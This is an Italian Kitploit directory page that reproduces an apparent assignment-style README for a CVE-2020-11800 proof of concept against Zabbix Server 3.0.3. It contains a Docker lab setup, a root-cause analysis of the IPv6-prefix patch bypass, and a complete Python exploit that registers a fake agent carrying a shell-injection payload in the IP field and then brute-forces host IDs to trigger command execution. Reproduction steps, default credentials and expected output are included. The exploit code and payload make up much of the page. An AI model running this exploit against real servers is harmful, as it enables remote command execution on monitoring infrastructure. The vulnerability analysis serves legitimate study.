Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2020-11800 — Exploit PoC per CVE-2020-11800, un'iniezione di comandi in Zabbix Server tramite l'auto-registrazione di un agente malintenzionato, con consegna del payload basata su Python e brute-forcing dell'ID host. | Kitploit
Strumenti/GitHubGitHub/ycseo-git/cve-2020-11800
Analisi delle VulnerabilitàExploitSicurezza WebPenetration TestingCommand and ControlSviluppo Payload
GitHubycseo-git/cve-2020-11800

CVE-2020-11800

Exploit PoC per CVE-2020-11800, un'iniezione di comandi in Zabbix Server tramite l'auto-registrazione di un agente malintenzionato, con consegna del payload basata su Python e brute-forcing dell'ID host.

Vedi Repository
23 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Le sezioni richieste dalle linee guida dell'assegnazione sono contrassegnate con “(Obbligatorio)”.

1. Ambiente (Obbligatorio)

Dockerfile (Obbligatorio)

Questo ambiente utilizza un Dockerfile personalizzato basato sull'immagine vulnerabile di Zabbix Server fornita da Vulhub.

root@kitploit:~
FROM vulhub/zabbix:3.0.3-server

Il Dockerfile crea un'immagine locale utilizzando l'ambiente vulnerabile di Zabbix 3.0.3 server. Non sono stati aggiunti pacchetti o configurazioni aggiuntive durante il processo di build.


docker-compose.yml (Obbligatorio)

L'ambiente vulnerabile è configurato utilizzando Docker Compose.

L'ambiente è composto da quattro servizi:

  • Zabbix Server
  • Zabbix Agent
  • Zabbix Web Interface
  • MySQL Database

Il servizio server viene creato localmente utilizzando il Dockerfile:

root@kitploit:~
server:
  build: .
  image: cve-2020-11800-server

Il container MySQL importa automaticamente i file di inizializzazione SQL dalla directory src/ tramite il montaggio dei volumi:

root@kitploit:~
volumes:
  - ./src/:/docker-entrypoint-initdb.d/

Questo consente di caricare automaticamente lo schema del database e i dati iniziali di Zabbix all'avvio del container.


Architettura dei servizi (Obbligatorio)

L'ambiente opera utilizzando la seguente struttura:

root@kitploit:~
[Browser]
    ↓
[Zabbix Web]
    ↓
[Zabbix Server]
    ↓
[MySQL]

[Agent] → [Server]

Zabbix Web

Fornisce l'interfaccia di gestione web accessibile tramite browser.

L'amministratore configura la auto-registrazione ed esegue le operazioni relative al monitoraggio tramite questa interfaccia.

Zabbix Server

Il componente principale responsabile di:

  • gestione degli agent
  • esecuzione degli script
  • logica di monitoraggio
  • elaborazione degli eventi

La vulnerabilità di command injection viene attivata all'interno di questo container.

Zabbix Agent

Agisce come host monitorato e comunica con lo Zabbix Server.

Lo exploit abusa del meccanismo di auto-registrazione durante il processo di registrazione dell'agente.

MySQL

Memorizza i dati di configurazione di Zabbix, le informazioni sugli host e i dati relativi al monitoraggio.


Immagini e versioni (Obbligatorio)

ServizioImmagineVersione
Zabbix Servervulhub/zabbix3.0.3-server
Zabbix Webvulhub/zabbix3.0.3-web
MySQLmysql5

L'ambiente si basa sull'ambiente vulnerabile Zabbix 3.0.3 fornito da Vulhub.

2. Causa principale (Obbligatorio)

Descrizione della vulnerabilità (Obbligatorio)

CVE-2020-11800 è una vulnerabilità di command injection nella funzionalità Active Proxy Trapper di Zabbix Server.

La vulnerabilità esiste perché la patch per CVE-2017-2824 era incompleta. Un attaccante può bypassare la patch originale utilizzando un payload in stile IPv6 ed eseguire comandi arbitrari sullo Zabbix Server.

La vulnerabilità viene attivata durante il processo di auto-registrazione quando il server elabora informazioni sugli host controllate dall'utente.


Analisi della causa principale (Obbligatorio)

La causa principale della vulnerabilità è la gestione non sicura dell'input controllato dall'utente all'interno dei comandi shell.

Durante l'esecuzione degli script, Zabbix Server utilizza il valore dell'IP dell'host registrato per costruire comandi come:

root@kitploit:~
ping <host_ip>

In condizioni normali:

root@kitploit:~
ping 127.0.0.1

Tuttavia, se un attaccante registra un host utilizzando il seguente payload:

root@kitploit:~
ffff:::;touch /tmp/success2

il comando finale eseguito dalla shell diventa:

root@kitploit:~
ping ffff:::;touch /tmp/success2

Poiché il punto e virgola (;) agisce come separatore di comandi della shell, la shell interpreta l'input come due comandi separati:

root@kitploit:~
ping ffff:::
touch /tmp/success2

Di conseguenza, diventa possibile l'esecuzione di comandi arbitrari.

Bypass della patch tramite IPv6

La patch originale per CVE-2017-2824 tentava di limitare i valori di input malevoli.

Tuttavia, la logica di validazione non gestiva correttamente gli input in stile IPv6.

Il payload:

root@kitploit:~
ffff:::;touch /tmp/success2

utilizza un prefisso simile a IPv6 (ffff:::) per bypassare la logica di validazione esistente, iniettando comunque metacaratteri della shell.

Ciò consente agli attaccanti di bypassare la patch precedente e continuare a sfruttare la vulnerabilità di command injection.


Processo di attivazione della vulnerabilità (Obbligatorio)

Il processo di exploit avviene nel seguente ordine:

root@kitploit:~
Attacker
 ↓
Fake Agent Registration
 ↓
Malicious IP Stored
 ↓
Zabbix Script Execution
 ↓
Shell Command Construction
 ↓
Command Injection
 ↓
Arbitrary Command Execution

L'attaccante invia prima una richiesta di auto-registrazione malevola contenente un campo IP appositamente modificato.

Dopo che l'host è stato registrato, lo Zabbix Server esegue uno script di monitoraggio utilizzando il valore dell'IP dell'host memorizzato.

Durante questo processo, il payload malevolo viene interpretato dalla shell, portando all'esecuzione di comandi arbitrari.


Flusso dell'attacco e impatto (Obbligatorio)

Lo exploit consente agli attaccanti di eseguire comandi arbitrari con i privilegi del processo Zabbix Server.

In questo ambiente, uno sfruttamento riuscito ha creato il seguente file all'interno del container del server:

root@kitploit:~
/tmp/success2

Ciò conferma che i comandi shell iniettati sono stati eseguiti correttamente.

In un ambiente reale, uno sfruttamento riuscito potrebbe consentire agli attaccanti di:

  • eseguire comandi di sistema arbitrari
  • scaricare ed eseguire malware
  • effettuare ricognizione interna
  • spostarsi lateralmente verso altri sistemi
  • compromettere l'infrastruttura di monitoraggio

La vulnerabilità è particolarmente pericolosa perché i server di monitoraggio hanno spesso visibilità su più sistemi interni e componenti dell'infrastruttura.

3. PoC (Obbligatorio)

Panoramica del PoC (Obbligatorio)

La Proof of Concept (PoC) è stata scritta in Python e comunica direttamente con lo Zabbix Server tramite la porta TCP 10051.

Il PoC esegue le seguenti azioni:

  1. Invia una richiesta di auto-registrazione malevola
  2. Esegue un brute force sui valori di hostid validi
  3. Attiva l'esecuzione dello script utilizzando il payload iniettato

Codice del PoC

root@kitploit:~
import sys
import socket
import json


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    response = conn.recv(2048)
    conn.close()
    return response


if len(sys.argv) != 2:
    print("Usage: python3 exploit.py <target-ip>")
    sys.exit(1)


target = sys.argv[1]

payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

print("[*] Sending malicious auto-registration request...")
print(send(target, payload))

print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
    data = send(target, {
        "request": "command",
        "scriptid": 1,
        "hostid": str(i)
    })

    if data and b'failed' not in data:
        print("[+] hostid: %d" % i)
        print(data)

Analisi del payload (Obbligatorio)

Il payload utilizzato in questo PoC è:

root@kitploit:~
ffff:::;touch /tmp/success2

Struttura del payload

ParteScopo
ffff:::Prefisso simile a IPv6 usato per il bypass della validazione
;Separatore di comandi della shell
touch /tmp/success2Comando arbitrario eseguito sul server

Il payload sfrutta il fatto che il server concatena in modo improprio i valori IP controllati dall'utente all'interno dei comandi shell.

Scopo

  • Registra un falso Zabbix Agent
  • Memorizza un valore IP malevolo sul server
  • Prepara il target per la command injection

Il payload viene consegnato tramite il campo ip durante il processo di auto-registrazione.


Processo di esecuzione del codice del PoC (Obbligatorio)

Richiesta di auto-registrazione

La prima richiesta inviata dal PoC tenta di registrare un host malevolo.

root@kitploit:~
payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

Brute force dell'ID host

Dopo la registrazione, il PoC tenta di individuare un hostid valido.

root@kitploit:~
for i in range(10000, 10500):

Il PoC itera su un intervallo di possibili ID host e tenta di attivare l'esecuzione dello script.

Questo passaggio è necessario perché il server assegna dinamicamente gli ID host dopo la registrazione.

Richiesta di esecuzione dello script

La seguente richiesta attiva l'esecuzione del comando:

root@kitploit:~
{
    "request": "command",
    "scriptid": 1,
    "hostid": str(i)
}

Parametri

ParametroDescrizione
requestRichiede l'esecuzione dello script
scriptidID dello script Zabbix configurato
hostidID dell'host target

In questo ambiente, scriptid:1 corrisponde a uno script correlato al ping che utilizza il valore IP dell'host durante l'esecuzione del comando.

Attivazione della vulnerabilità

Lo Zabbix Server costruisce internamente un comando shell simile a:

root@kitploit:~
ping ffff:::;touch /tmp/success2

La shell lo interpreta come:

root@kitploit:~
ping ffff:::
touch /tmp/success2

Di conseguenza:

  • il comando ping fallisce a causa di un indirizzo IPv6 non valido
  • il comando touch iniettato viene eseguito correttamente

Output previsto

Durante uno sfruttamento riuscito, potrebbe apparire il seguente output:

root@kitploit:~
ping: bad address 'ffff:::'

Ciò indica che il payload ha raggiunto la fase di esecuzione dei comandi shell.

Lo sfruttamento riuscito è confermato quando il seguente file esiste all'interno del container del server:

root@kitploit:~
/tmp/success2

4. Riproduzione (Obbligatorio)

Processo di esecuzione del PoC e dello exploit (Obbligatorio)

Il flusso completo dello exploit è riassunto di seguito:

root@kitploit:~
Start Docker Environment
        ↓
Access Zabbix Web Interface
        ↓
Enable Auto Registration
        ↓
Run exploit.py
        ↓
Register Malicious Host
        ↓
Trigger Script Execution
        ↓
Command Injection
        ↓
Verify /tmp/success2

Passaggi effettivi di esecuzione dello exploit (Obbligatorio)

Configurazione dell'ambiente

Avvia l'ambiente vulnerabile utilizzando Docker Compose.

root@kitploit:~
docker compose up -d

Verifica che tutti i container siano in esecuzione correttamente.

root@kitploit:~
docker compose ps

L'ambiente dovrebbe includere i seguenti container:

  • Zabbix Server
  • Zabbix Agent
  • Zabbix Web
  • MySQL

Accesso all'interfaccia web

Apri il browser e accedi all'interfaccia web di Zabbix.

root@kitploit:~
http://127.0.0.1:8080

Credenziali predefinite:

root@kitploit:~
Username: admin
Password: zabbix

Abilitazione dell'auto-registrazione

Lo exploit richiede che la funzione di auto-registrazione sia abilitata.

Naviga fino a:

root@kitploit:~
Configuration → Actions

Cambia la Sorgente evento (Event Source) in:

root@kitploit:~
Auto registration

Crea una nuova Action e configura la seguente operazione:

root@kitploit:~
Operation Type: Add Host

Ciò consente di aggiungere automaticamente al server gli agent appena registrati.

Esecuzione dello exploit

Esegui lo script PoC.

root@kitploit:~
python3 exploit.py 127.0.0.1

Il PoC invia una richiesta di auto-registrazione malevola e tenta di attivare l'esecuzione di comandi utilizzando più ID host.


Analisi dei risultati (Obbligatorio)

Output di esempio

Durante uno sfruttamento riuscito, potrebbe apparire un output simile al seguente:

root@kitploit:~
hostid: 10106
{"response":"success","data":"ping: bad address 'ffff:::'"}

Ciò indica che il payload ha raggiunto il percorso vulnerabile di esecuzione dei comandi shell.

Verifica dell'esecuzione dei comandi

Accedi al container dello Zabbix Server.

root@kitploit:~
docker exec -it cve-2020-11800-server-1 bash

Verifica se il comando iniettato ha creato il file target.

root@kitploit:~
ls -l /tmp/success2

Uno sfruttamento riuscito produce un output simile a:

root@kitploit:~
-rw-rw-r-- 1 zabbix zabbix 0 May 10 19:48 /tmp/success2

Ciò conferma che i comandi arbitrari sono stati eseguiti correttamente all'interno del container dello Zabbix Server.


Screenshot (Obbligatorio)

I seguenti screenshot sono inclusi nella directory screenshots/:

Registrazione automatica

Risultato dell'esecuzione del PoC

Scarica lo strumento